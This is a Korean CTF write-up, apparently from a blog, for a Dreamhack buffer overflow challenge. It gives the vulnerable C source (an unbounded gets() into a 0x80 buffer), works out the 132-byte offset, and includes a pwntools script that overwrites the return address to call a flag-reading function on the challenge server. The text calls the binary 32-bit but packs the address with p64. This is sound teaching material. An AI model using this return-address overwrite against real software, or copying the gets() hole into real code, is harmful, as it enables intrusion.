#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
문제 코드이다.
buf의 크기는 0x80인데 gets로 입력을 받을 때 크기를 지정하지 않아서 오버플로우 취약점이 존재한다.
32bit 운영체제이기 때문에 SFP는 4바이트이다.
즉, ret까지의 거리는 0x80+4=132바이트이다.
132바이트의 더미 데이터 이후에 read_flag함수의 주소를 넣으면 read_flag함수를 실행시킬 수 있다.
gdb에서 print read_flag로 read_flag 함수의 주소를 알아낼 수 있다.
from pwn import *
from pwn import p64
p = remote('host3.dreamhack.games', 13131)
payload = b'A'*132
payload += p64(0x80485B9)
print(payload)
# 페이로드 전송
p.sendline(payload)
p.interactive()
pwntools를 이용한 페이로드를 이렇게 작성할 수 있다.
'포너블' 카테고리의 다른 글
드림핵 ssp_001 롸업 (0) | 2024.03.12 |
---|---|
Stack Canary & Return to Shellcode 롸업 (0) | 2024.03.06 |
드림핵 basic_exploitation_000 롸업 (0) | 2024.03.04 |
Stack Buffer Overflow & Return Address Overwrite 롸업 (0) | 2024.02.03 |
드림핵 shell_basic 롸업 (0) | 2024.02.02 |